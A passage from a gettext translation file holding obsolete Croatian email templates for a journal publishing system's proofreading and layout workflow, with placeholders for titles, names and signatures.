"emails.layoutAck.description" #~ msgstr "" #~ "Ovim obrascem e-pošte grafički urednik obavještava urednika rubrike da je " #~ "postupak prijeloma završen." #~ msgid "emails.proofreadAuthorRequest.subject" #~ msgstr "Zahtjev za korekturu (Autor)" #~ msgid "emails.proofreadAuthorRequest.body" #~ msgstr "" #~ "Poštovana/i {$authors},<br />\n" #~ "<br />\n" #~ "molimo vas da izvršite korekturu prijeloma vašeg priloga "" #~ "{$submissionTitle}" za časopis {$contextName}. Kako biste pristupili " #~ "radnom primjerku prijeloma, molimo vas da otiđete na mrežnu stranicu " #~ "časopisa koristeći se poveznicom koja se nalazi u nastavku teksta. " #~ "Koristite poveznicu VIEW PROOF kako biste pregledali postoje li tiskarske " #~ "pogreške i greške u prijelomu u tekstu oblikovanom za objavljivanje. " #~ "Ispravke zabilježite unutar okvira Korektorski ispravci, koristeći se " #~ "priloženim uputama za ispravke.<br />\n" #~ "<br />\n" #~ "URL Rukopisa: {$submissionUrl}<br />\n" #~ "<br />\n" #~ "U slučaju da trenutačno niste u mogućnosti izraditi korekturu svog " #~ "priloga ili ako imate bilo kakvih dodatnih pitanja, molim vas da nam se " #~ "obratite.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid "emails.proofreadAuthorRequest.description" #~ msgstr "" #~ "Ovim obrascem e-pošte urednik rubrike obavještava autora da je prijelom " #~ "članka spreman za korekturu. Poruka uključuje informacije o članku i kako " #~ "mu pristupiti." #~ msgid "emails.proofreadAuthorComplete.subject" #~ msgstr "Napravljena korektura (Autor)" #~ msgid "emails.proofreadAuthorComplete.body" #~ msgstr "" #~ "Poštovana/i {$recipientName},<br />\n" #~ "<br />\n" #~ "korektura prijeloma mog priloga "{$submissionTitle}" za časopis " #~ "{$contextName} je napravljena. Prijelom je sada spreman za završne " #~ "ispravke korektora.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$authors}" #~ msgid "emails.proofreadAuthorComplete.description" #~ msgstr "" #~ "Ovim obrascem e-pošte autor obavještava korektora i urednika završio " #~ "autorsku korekturu. Autorski ispravci mogu se pronaći u komentarima " #~ "članka." #~ msgid "emails.proofreadAuthorAck.subject" #~ msgstr "Zaprimljena korektura (Autor)" #~ msgid "emails.proofreadAuthorAck.body" #~ msgstr "" #~ "Poštovana/i {$authors},<br />\n" #~ "<br />\n" #~ "zahvaljujemo vam na korekturi prijeloma vašeg priloga "" #~ "{$submissionTitle}" za časopis {$contextName}. Bit će nam " #~ "zadovoljstvo uskoro objaviti vaš rad.<br />\n" #~ "<br />\n" #~ "Ako se predbilježite za naš sustav obavještavanja, dobivat ćete e-poštu " #~ "sadržaja broja čim se on objavi. U slučaju da imate bilo kakva dodatna " #~ "pitanja, molimo vas da nam se obratite.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid "emails.proofreadAuthorAck.description" #~ msgstr "" #~ "Ovim obrascem e-pošte urednik rubrike potvrđuje autoru primitak korekture." #~ msgid "emails.proofreadRequest.subject" #~ msgstr "Zamolba za korekturu" #~ msgid "emails.proofreadRequest.body" #~ msgstr "" #~ "Poštovana/i {$proofreaderName},<br />\n" #~ "<br />\n" #~ "molim vas da izvršite korekturu prijeloma priloga "{$submissionTitle}" #~ "" za časopis {$contextName}.<br />\n" #~ "<br />\n" #~ "URL Rukopisa: {$submissionUrl}<br />\n" #~ "Korisničko ime: {$proofreaderUsername}<br />\n" #~ "<br />\n" #~ "U slučaju da trenutačno niste u mogućnosti preuzeti ovu korekturu ili u " #~ "slučaju da imate bilo kakvih pitanja, molimo vas da nam se obratite.<br /" #~ ">\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid "emails.proofreadRequest.description" #~ msgstr "" #~ "Ovim obrascem e-pošte urednik rubrike šalje korektoru zamolbu za " #~ "korekturu prijeloma članka. Poruka daje osnovne informacije o članku i " #~ "kako mu pristupiti." #~ msgid "emails.proofreadComplete.subject" #~ msgstr "Napravljena korektura" #~ msgid "emails.proofreadComplete.body" #~ msgstr "" #~ "Poštovana/i {$recipientName},<br />\n" #~ "<br />\n" #~ "korektura prijeloma priloga "{$submissionTitle}" za časopis " #~ "{$contextName} je napravljena. Prijelom je spreman za unos završnih " #~ "ispravaka od strane grafičkog urednika.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$proofreaderName}" #~ msgid "emails.proofreadComplete.description" #~ msgstr "" #~ "Ovim obrascem e-pošte korektor obavještava urednika rubrike da je završio " #~ "postupak korekture." #~ msgid "emails.proofreadAck.subject" #~ msgstr "Zaprimljena korektura" #~ msgid "emails.proofreadAck.body" #~ msgstr "" #~ "Poštovana/i {$proofreaderName},<br />\n" #~ "<br />\n" #~ "zahvaljujem vam na korekturi prijeloma priloga "{$submissionTitle}" #~ "" za časopis {$contextName}.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid "emails.proofreadAck.description" #~ msgstr "" #~ "Ovim obrascem e-pošte urednik rubrike potvrđuje korektoru zaprimanje " #~ "korekture." #~ msgid "emails.proofreadLayoutComplete.subject" #~ msgstr "Napravljena korektura (grafički urednik)" #~ msgid "emails.proofreadLayoutComplete.body" #~ msgstr "" #~ "Poštovana/i {$recipientName},<br />\n" #~ "<br />\n" #~ "prijelom priloga "{$submissionTitle}" za časopis {$contextName} " #~ "ispravljen je prema priloženim korektorskim uputama. Članak je sada " #~ "spreman za objavljivanje.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$recipientName}" #~ msgid "emails.proofreadLayoutComplete.description" #~ msgstr "" #~ "Ovim obrascem e-pošte grafički urednik obavještava urednika rubrike da je " #~ "unos korekture završen i da je članak spreman za objavljivanje." #~ msgid "emails.proofreadLayoutAck.subject" #~ msgstr "Zaprimljena korektura (grafički urednik)" #~ msgid "emails.proofreadLayoutAck.body" #~ msgstr "" #~ "Poštovana/i {$recipientName},<br />\n" #~ "<br />\n" #~ "hvala vam što ste završili unos korektura u prijelom priloga "" #~ "{$submissionTitle}" za časopis {$contextName}.<br />\n" #~ "<br />\n" #~ "Srdačno,<br />\n" #~ "{$signature}" #~ msgid "emails.proofreadLayoutAck.description" #~ msgstr "" #~ "Ovim obrascem e-pošte urednik rubrike potvrđuje grafičkom uredniku da je " #~ "zaprimio prijelom sa unesenim korekturama."
Simpan